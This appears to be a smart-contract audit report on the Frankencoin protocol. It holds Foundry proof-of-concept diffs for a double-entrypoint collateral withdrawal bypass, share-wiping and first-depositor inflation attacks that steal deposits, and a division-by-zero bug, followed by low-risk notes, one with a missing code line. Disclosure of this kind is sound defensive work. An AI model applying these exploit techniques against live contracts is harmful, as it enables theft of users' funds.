Frankencoin - giovannidisiena's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L245-L255

Vulnerability details

Impact

Position::withdraw is intended to allow the position owner to withdraw any ERC20 token which might have ended up at position address. If the collateral address is passed as argument then Position::withdrawCollateral is called to perform the necessary checks and balances. However, this can be bypassed if the collateral token is a double-entrypoint token.

Such tokens are problematic because the legacy token delegates its logic to the new token, meaning that two separate addresses are used to interact with the same token. Previous examples include TUSD which resulted in vulnerability when integrated into Compound. This highlights the importance of carefully selecting the collateral token, especially as this type of vulnerability is not easily detectable. In addition, it is not unrealistic to expect that an upgradeable collateral token could become a double-entrypoint token in the future, e.g. USDT, so this must also be considered.

This vector involves the position owner dusting the contract with the collateral token's legacy counterpart which allows them to withdraw the full collateral balance by calling Position::withdraw passing the legacy address as token argument. This behaviour is flawed as the position owner should repay the ZCHF debt before withdrawing their underlying collateral.

Proof of Concept

Apply the following git diff:

diff --git a/.gitmodules b/.gitmodules
index 888d42d..e80ffd8 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,6 @@
 [submodule "lib/forge-std"]
 	path = lib/forge-std
 	url = https://github.com/foundry-rs/forge-std
+[submodule "lib/openzeppelin-contracts"]
+	path = lib/openzeppelin-contracts
+	url = https://github.com/openzeppelin/openzeppelin-contracts
diff --git a/lib/openzeppelin-contracts b/lib/openzeppelin-contracts
new file mode 160000
index 0000000..0a25c19
--- /dev/null
+++ b/lib/openzeppelin-contracts
@@ -0,0 +1 @@
+Subproject commit 0a25c1940ca220686588c4af3ec526f725fe2582
diff --git a/test/DoubleEntryERC20.sol b/test/DoubleEntryERC20.sol
new file mode 100644
index 0000000..b871288
--- /dev/null
+++ b/test/DoubleEntryERC20.sol
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
+import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
+
+interface DelegateERC20 {
+    function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
+    function delegateBalanceOf(address account) external view returns (uint256);
+}
+
+contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
+    DelegateERC20 public delegate;
+
+    constructor() {
+        _mint(msg.sender, 100 ether);
+    }
+
+    function mint(address to, uint256 amount) public onlyOwner {
+        _mint(to, amount);
+    }
+
+    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
+        delegate = newContract;
+    }
+
+    function transfer(address to, uint256 value) public override returns (bool) {
+        if (address(delegate) == address(0)) {
+            return super.transfer(to, value);
+        } else {
+            return delegate.delegateTransfer(to, value, msg.sender);
+        }
+    }
+
+    function balanceOf(address account) public view override returns (uint256) {
+        if (address(delegate) == address(0)) {
+            return super.balanceOf(account);
+        } else {
+            return delegate.delegateBalanceOf(account);
+        }
+    }
+}
+
+contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
+    address public delegatedFrom;
+
+    constructor(address legacyToken) {
+        delegatedFrom = legacyToken;
+        _mint(msg.sender, 100 ether);
+    }
+
+    modifier onlyDelegateFrom() {
+        require(msg.sender == delegatedFrom, "Not legacy contract");
+        _;
+    }
+
+    function mint(address to, uint256 amount) public onlyOwner {
+        _mint(to, amount);
+    }
+
+    function delegateTransfer(address to, uint256 value, address origSender)
+        public
+        override
+        onlyDelegateFrom
+        returns (bool)
+    {
+        _transfer(origSender, to, value);
+        return true;
+    }
+
+    function delegateBalanceOf(address account) public view override onlyDelegateFrom returns (uint256) {
+        return balanceOf(account);
+    }
+}
diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..9ce13cd 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -14,6 +14,7 @@ import "../contracts/MintingHub.sol";
 import "../contracts/PositionFactory.sol";
 import "../contracts/StablecoinBridge.sol";
 import "forge-std/Test.sol";
+import {LegacyToken, DoubleEntryPoint} from "./DoubleEntryERC20.sol";
 
 contract GeneralTest is Test {
 
@@ -24,6 +25,8 @@ contract GeneralTest is Test {
     TestToken col;
     IFrankencoin zchf;
 
+    LegacyToken legacy;
+    DoubleEntryPoint doubleEntry;
     User alice;
     User bob;
 
@@ -35,10 +38,41 @@ contract GeneralTest is Test {
         hub = new MintingHub(address(zchf), address(new PositionFactory()));
         zchf.suggestMinter(address(hub), 0, 0, "");
         col = new TestToken("Some Collateral", "COL", uint8(0));
+        legacy = new LegacyToken();
+        doubleEntry = new DoubleEntryPoint(address(legacy));
         alice = new User(zchf);
         bob = new User(zchf);
     }
 
+    function testPoCWithdrawDoubleEntrypoint() public {
+        alice.obtainFrankencoins(swap, 1000 ether);
+        emit log_named_uint("alice zchf balance before opening position", zchf.balanceOf(address(alice)));
+        uint256 initialAmount = 100 ether;
+        doubleEntry.mint(address(alice), initialAmount);
+        vm.startPrank(address(alice));
+        doubleEntry.approve(address(hub), initialAmount);
+        uint256 balanceBefore = zchf.balanceOf(address(alice));
+        address pos = hub.openPosition(address(doubleEntry), 100, initialAmount, 1000000 ether, 100 days, 1 days, 25000, 100 * (10 ** 36), 200000);
+        require((balanceBefore - hub.OPENING_FEE()) == zchf.balanceOf(address(alice)));
+        vm.warp(Position(pos).cooldown() + 1);
+        alice.mint(pos, initialAmount);
+        vm.stopPrank();
+        emit log_named_uint("alice zchf balance after opening position and minting", zchf.balanceOf(address(alice)));
+
+        uint256 legacyAmount = 1;
+        legacy.mint(address(alice), legacyAmount);
+        uint256 totalAmount = initialAmount + legacyAmount;
+        vm.prank(address(alice));
+        legacy.transfer(pos, legacyAmount);
+        legacy.delegateToNewContract(doubleEntry);
+
+        vm.prank(address(alice));
+        Position(pos).withdraw(address(legacy), address(alice), initialAmount);
+        emit log_named_uint("alice collateral balance after withdrawing collateral", doubleEntry.balanceOf(address(alice)));
+        emit log_named_uint("alice zchf balance after withdrawing collateral", zchf.balanceOf(address(alice)));
+        console.log("uh-oh, alice withdrew collateral without repaying zchf ://");
+    }
+
     function initPosition() public returns (address) {
         alice.obtainFrankencoins(swap, 1000 ether);
         address pos = alice.initiatePosition(col, hub);

Tools Used

• Manual review
• Foundry

Recommended Mitigation

• Validate the collateral balance has not changed after the token transfer within the call to Position::withdraw.
• Otherwise, consider restricting the use of Position::withdraw or remove it altogether.

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L313

Vulnerability details

Impact

When Equity::restructureCapTable is called, the function loops through the shareholders provided and burns their shares. However, the array indexing is incorrect, meaning that the for addressesToWipe arrays with length > 1 the function will only burn the first shareholder's shares.

Proof of Concept

N/A

Tools Used

• Manual review

Recommended Mitigation

Correctly update the current address by indexing the array with the loop index instead of 0: address current = addressesToWipe[i];

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L299-L316 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L268 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L293

Vulnerability details

Impact

Due to the issue described in H-02, an inflation attack can be performed during recapitalisation. Burning shares decreases the total supply; however, it doesn't increase equity and so any previous shareholder with > 3% of the votes could call Equity::restructureCapTable and wipe arbitrary shares. This includes old delegation since these values are never reset and the beneficiary can still vote.

Assuming a single caller burns the shares of all other shareholders but decides not to recapitalize the reserve, it isn't completely unrealistic to assume that another caller (knowingly or otherwise) decides to deposit the required capital. If this becomes the case, the original caller steal the equity from this deposit by a share price manipulation attack if their share balance is <= 1000. This hinges on the total share balance now being below the threshold which means that a new depositor will receive 1000 shares regardless of the value they provide. Hence, the existing sole shareholder can withdraw these funds by redeeming their shares and preventing redemtion of the new caller's shares in the process due to Equity::calculateProceeds requiring a minimum supply of 1000 shares at all times. In essence, this invariant can be broken by Equity::restructureCapTable and the system can be exploited to steal deposits. The attacker is also able to perform a standard front-running inflation attack to further exacerbate the caller's loss.

Proof of Concept

Apply the following git diff:

diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..5854328 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -39,6 +39,73 @@ contract GeneralTest is Test {
         bob = new User(zchf);
     }
 
+    function testPoCRestructure() public {
+        Equity equity = Equity(address(zchf.reserve()));
+        assertEq(equity.totalSupply(), 0, Strings.toString(equity.totalSupply()));
+        assertEq(zchf.equity(), 0, Strings.toString(zchf.equity()));
+
+        // mint bob shares
+        uint256 bobAmount = 20_000 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        bob.invest(bobAmount);
+
+        // mint bob excess for use later
+        bobAmount = 831337 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+
+        // mint alice shares
+        uint256 aliceAmount = 20_000 ether;
+        alice.obtainFrankencoins(swap, aliceAmount);
+        alice.invest(aliceAmount);
+
+        emit log_named_uint("zchf deposit (alice)", aliceAmount);
+        emit log_named_uint("zchf deposit (bob)", bobAmount);
+        emit log_named_uint("FPS balance (alice)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS balance (bob)", equity.balanceOf(address(bob)));
+        emit log_named_uint("FPS after alice invests", equity.totalSupply());
+
+        // prank minter & notify loss
+        vm.prank(address(hub));
+        zchf.notifyLoss(type(uint96).max);
+
+        // advance past vote anchor period
+        vm.roll(block.number + 90 * 7200 << 24);
+
+        // restructure
+        address[] memory emptyAddresses;
+        address[] memory addresses = new address[](1);
+        addresses[0] = address(alice);
+        bob.restructure(emptyAddresses, addresses);
+
+        emit log_named_uint("FPS balance (alice after restructure)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS balance (bob after restructure)", equity.balanceOf(address(bob)));
+        
+        // bob infaltes the share price by sending tokens directly
+        // vm.prank(address(bob));
+        // zchf.transfer(address(equity), bobAmount);
+
+        // alice deposits large amount (but roughly an order of magnitude less than bob's total deposit + transfer)
+        aliceAmount = 69420 ether;
+        alice.obtainFrankencoins(swap, aliceAmount);
+        alice.invest(aliceAmount);
+
+        uint256 aliceBalance = equity.balanceOf(address(alice));
+        emit log_named_uint("FPS balance (alice)", aliceBalance);
+
+        // bob redeems his shares and profits
+        bob.redeem(equity, equity.balanceOf(address(bob)));
+        emit log_named_uint("zchf.balanceOf(address(bob))", zchf.balanceOf(address(bob)));
+        
+        // advance past vote anchor period
+        vm.roll(block.number + 90 * 7200 << 24);
+
+        // alice will find her Frankencoin balance is lost (to bob) and she can't redeem the little shares she does have
+        vm.expectRevert();
+        alice.redeem(equity, aliceBalance - 1.01 ether);
+        emit log_named_uint("equity.balanceOf(address(alice))", equity.balanceOf(address(alice)));
+        emit log_named_uint("zchf.balanceOf(address(alice))", zchf.balanceOf(address(alice)));
+    }
+
     function initPosition() public returns (address) {
         alice.obtainFrankencoins(swap, 1000 ether);
         address pos = alice.initiatePosition(col, hub);

Tools Used

• Manual review
• Foundry

Recommended Mitigation

• Apply the recommended mitigation from H-02 to resolve problematic recapitalization logic.
• Ensure Equity::restructureCapTable is not able to break the Equity::calculateProceeds invariant that there must always exist a minimum of 1000 shares.

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247-L248 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L266-L270

Vulnerability details

Impact

When issuing shares in return for collateral within what amounts to a tokenised vault, developers must take great care to ensure depositors cannot have their funds stolen through an front-running inflation attack.

Equity::onTokenTransfer issues shares based on the existing reserve equity and amount deposited such that the first depositor will receive 1000 FPS. However, a depositor's Frankencoin::transferAndCall can be front-run by a malicious first depositor. Following a small deposit, the attacker is able to directly transfer a large balance of ZCHF to the Equity contract, increasing the reserves and hence inflating the price per share. The user who was front-run will now receive a highly unfavourable rate and FPS amount out due to rounding which can even result in their complete loss of funds due to lack of zero value validation on the share amount to mint.

The attacker benefits from the user's transaction and can withdraw a large amount of collateral in return for a small amount of shares at the user's expense.

Proof of Concept

Apply the following git diff:

diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..bf35b38 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -39,6 +39,62 @@ contract GeneralTest is Test {
         bob = new User(zchf);
     }
 
+    function testPoCShares() public {
+        Equity equity = Equity(address(zchf.reserve()));
+        assertEq(equity.totalSupply(), 0, Strings.toString(equity.totalSupply()));
+        assertEq(zchf.equity(), 0, Strings.toString(zchf.equity()));
+
+        // bob front-runs alice
+        uint256 bobAmount = 1000 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        bob.invest(bobAmount);
+        
+        assertEq(zchf.equity(), bobAmount, Strings.toString(zchf.equity()));
+        assertEq(equity.totalSupply(), bobAmount, Strings.toString(equity.totalSupply()));
+        assertEq(equity.balanceOf(address(bob)), bobAmount, Strings.toString(equity.balanceOf(address(bob))));
+        
+        // bob infaltes the share price by sending tokens directly
+        uint256 equityBefore = zchf.equity();
+        bobAmount = 831337 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        vm.prank(address(bob));
+        zchf.transfer(address(equity), bobAmount);
+        
+        assertEq(zchf.equity(), bobAmount + equityBefore, Strings.toString(zchf.equity()));
+        emit log_named_uint("zchf deposit + transfer (bob)", bobAmount + equityBefore);
+        emit log_named_uint("FPS balance (bob)", equity.balanceOf(address(bob)));
+
+        // alice deposits large amount (but roughly an order of magnitude less than bob's total deposit + transfer)
+        equityBefore = zchf.equity();
+        uint256 aliceAmount = 69420 ether;
+        alice.obtainFrankencoins(swap, aliceAmount);
+        alice.invest(aliceAmount);
+        emit log_named_uint("zchf deposit (alice)", aliceAmount);
+
+        // but receives very few shares by comparison
+        assertEq(zchf.equity(), aliceAmount + equityBefore, Strings.toString(zchf.equity()));
+        emit log_named_uint("FPS balance (alice)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS after alice invests", equity.totalSupply());
+        
+        // advance past vote anchor period
+        vm.roll(block.number + 90 * 7200 << 24);
+
+        // bob redeems his shares and profits
+        bob.redeem(equity, equity.balanceOf(address(bob)));
+        emit log_named_uint("zchf.balanceOf(address(bob))", zchf.balanceOf(address(bob)));
+        
+        // alice will find her Frankencoin balance is largely lost (to bob)
+        alice.redeem(equity, equity.balanceOf(address(alice)) - 1.01 ether);
+        emit log_named_uint("zchf.balanceOf(address(alice))", zchf.balanceOf(address(alice)));
+        console.log("alice deposited ~ 1 order of magnitude fewer funds than bob (deposit + transfer) originally but loses 99.998% of funds on redemption");
+        emit log_named_uint("alice loss", aliceAmount - zchf.balanceOf(address(alice)));
+        string memory percentage = Strings.toString((1e18 * (aliceAmount - zchf.balanceOf(address(alice))) / aliceAmount));
+        assembly {
+            mstore(percentage, 0x05)
+        }
+        console.log(string.concat("alice loss (percentage): ", percentage));
+    }
+
     function initPosition() public returns (address) {
         alice.obtainFrankencoins(swap, 1000 ether);
         address pos = alice.initiatePosition(col, hub);

Tools Used

• Manual review
• Foundry

Recommended Mitigation

As stated in other similar reports, one solution to this problem is to burn the first 1000 shares thereby increasing the cost to perform this attack by the same factor. Additionally, ensure the number of shares is non-zero to prevent an attacker from stealing all the funds in the case where subsequent deposits are less than that required to prevent rounding to zero.

require(shares != 0, "No shares minted");

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L268 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247

Vulnerability details

Impact

Unless the total shares supply decreases below 1000 following a call to Equity::restructureCapTable if equity reaches zero, which is in fact an invariant that should not be broken (see H-03), Equity::calculateSharesInternal will be broken. This is due to a division by zero error that will only be resolved if tokens are transferred directly to the contract and not via transferAndCall. This affects both the Equity::calculateShares view function and the minting of new shares in Equity::onTokenTransfer as both use Equity::calculateSharesInternal.

Proof of Concept

Apply the following git diff:

diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..12ba74d 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -39,6 +39,58 @@ contract GeneralTest is Test {
         bob = new User(zchf);
     }
 
+    function testPoCBrokenShareCalculationAfterZeroEquity() public {
+        Equity equity = Equity(address(zchf.reserve()));
+        assertEq(equity.totalSupply(), 0, Strings.toString(equity.totalSupply()));
+        assertEq(zchf.equity(), 0, Strings.toString(zchf.equity()));
+
+        // mint bob shares
+        uint256 bobAmount = 20_000 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+        bob.invest(bobAmount);
+
+        // mint bob excess for use later
+        bobAmount = 1 ether;
+        bob.obtainFrankencoins(swap, bobAmount);
+
+        // mint alice shares
+        uint256 aliceAmount = 20_000 ether;
+        alice.obtainFrankencoins(swap, aliceAmount);
+        alice.invest(aliceAmount);
+
+        emit log_named_uint("zchf deposit (alice)", aliceAmount);
+        emit log_named_uint("zchf deposit (bob)", bobAmount);
+        emit log_named_uint("FPS balance (alice)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS balance (bob)", equity.balanceOf(address(bob)));
+        emit log_named_uint("FPS after alice invests", equity.totalSupply());
+
+        // prank minter & notify loss
+        vm.prank(address(hub));
+        zchf.notifyLoss(type(uint96).max);
+
+        // advance past vote anchor period
+        vm.roll(block.number + 90 * 7200 << 24);
+
+        // restructure
+        address[] memory emptyAddresses;
+        address[] memory addresses = new address[](1);
+        addresses[0] = address(alice);
+        bob.restructure(emptyAddresses, addresses);
+
+        emit log_named_uint("FPS balance (alice after restructure)", equity.balanceOf(address(alice)));
+        emit log_named_uint("FPS balance (bob after restructure)", equity.balanceOf(address(bob)));
+        emit log_named_uint("Equity reserves", zchf.equity());
+        // reserves are zero
+        
+        // bob increases the reserves by sending tokens directly
+        // vm.prank(address(bob));
+        // zchf.transfer(address(equity), bobAmount);
+
+        // causing `onTokenTransfer` to break
+        // alice.obtainFrankencoins(swap, aliceAmount);
+        vm.expectRevert();
+        // alice.invest(aliceAmount);
+        equity.calculateShares(aliceAmount);
+    }
+
     function initPosition() public returns (address) {
         alice.obtainFrankencoins(swap, 1000 ether);
         address pos = alice.initiatePosition(col, hub);

Tools Used

• Manual review
• Foundry

Recommended Mitigation

• Handle the case where equity is zero to prevent division by zero

function equity() public view returns (uint256) {
      uint256 balance = balanceOf(address(reserve));
      uint256 minReserve = minterReserve();
      if (balance <= minReserve){
        return 0;
      } else {
        return balance - minReserve;
      }
    }

Low Risk Findings

[L-01] Modify calculations of x^3 to perform 1e36 division after multiplication to minimize rounding errors

Currently, the _cubicRoot function in MathUtil performs the following calculation:

uint256 powX3 = _mulD18(_mulD18(x, x), x);

however some precision is lost due to division by the 1e18 scaling factor at the intermediate x^2 step. This can be fixed by performing the division of 1e36 after the multiplication, using a 512-bit fixed-point math library to avoid overflow for the case of large x above 1e25.

[L-02] Refund excess in Position::notifyRepaidInternal rather than reverting

Currently, the Position::notifyRepaidInternal function in Position performs the following validation:

if (amount > minted) revert RepaidTooMuch(amount - minted);

however a better approach would be to refund the excess amount to the caller, as this would allow the caller to guarantee that their transaction will repay the debt.

[L-03] Wrong value of seconds in year

The StablecoinBridge contract in StablecoinBridge has a constructor that performs the following calculation:

which is used to specify the time horizon after which the bridge expires and needs to be replaced by a new contract.

Most precise calculations take into account leap years (typically 365.25 days); however, as can be seen at NASA and stackoverflow, the value is slightly different.

Current case: 52 weeks = 364 days = 31_449_600 / (24 * 3600) Naive case: 365.25 days = 31_557_600 / (24 * 3600) NASA case: 365.2422 days = 31_556_926 / (24 * 3600)

Here, use of 52 weeks in Solidity will underestimate the time after which the contract should be replaced by approximately a day. Use 31_556_926 seconds in one year for maximum precision: horizon = block.timestamp + 31_556_926 seconds;

Non-Critical Findings

[NC-01] Use MathUtil::_power3 in MathUtil::_cubicRoot

The MathUtil contract defines a function to raise an input value to its third power; however, it is not used in the MathUtil::_cubicRoot function. This can be fixed by replacing the following line:

uint256 powX3 = _mulD18(_mulD18(x, x), x);

with

uint256 powX3 = _power3(x);

[NC-02] Use a constant for 1000000

The Frankencoin contract uses the value 1000000 inlined in calculations. It would be better to use a constant instead:

uint256 internal constant ONE_MILLION = 1_000_000;

[NC-03] Use 1e18 & 1e16 as constants

The MathUtil contract has the following constants:

uint256 internal constant ONE_DEC18 = 10**18;
uint256 internal constant THRESH_DEC18 =  10000000000000000;

It would be more readable and consistent to use the following constants instead:

uint256 internal constant ONE_DEC18 = 1e18;
uint256 internal constant THRESH_DEC18 = 1e16;

[NC-04] Remove unnecessary parentheses in MathUtil::_divD18

Due to the oder of operator precedence, the parentheses in the following line are unnecessary:

return (_a * ONE_DEC18) / _b ;